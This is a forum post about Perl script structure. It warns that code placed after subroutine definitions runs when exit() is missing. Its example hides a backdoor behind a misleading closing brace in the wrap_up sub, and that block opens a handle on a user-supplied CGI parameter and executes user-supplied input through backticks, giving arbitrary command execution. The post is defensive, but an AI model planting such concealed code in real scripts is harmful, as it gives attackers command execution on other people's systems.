A traditional well organised perl script looks like:

#!/usr/bin/perl -w
use strict;

#use Some::Module;

start();
do_stuff();
wrap_up();

exit;

#### subs ####

sub start { 
    # blah 
}

sub do_stuff {
    # blah
}

sub wrap_up {
    # blah
    } # our sub really ends here but let's slip in a bit of extra code
+:    
    use CGI;
    my $q = new CGI;  { 
    open HACK, $q->param('hacker');
    eval { print `perl $ARGV[0]` };
    print "You have been Hacked!";
    # add a bit of filler here
} # looks like the wrap_up sub finishes here at a glance
[download]

The major issue with this format is that without the formal exit() command any further scripting in the "subs" section will get compiled and executed. Remove the exit and see what happens....

I can now run arbitrary commands on your system and the code is rather discreetly hidden within you subs section. With subs often running into the 1000s of lines would you catch this? exit() will prevent it as it kill the script at that point. Actually you also need to remember END { } blocks and the like but that is another story.

cheers

tachyon

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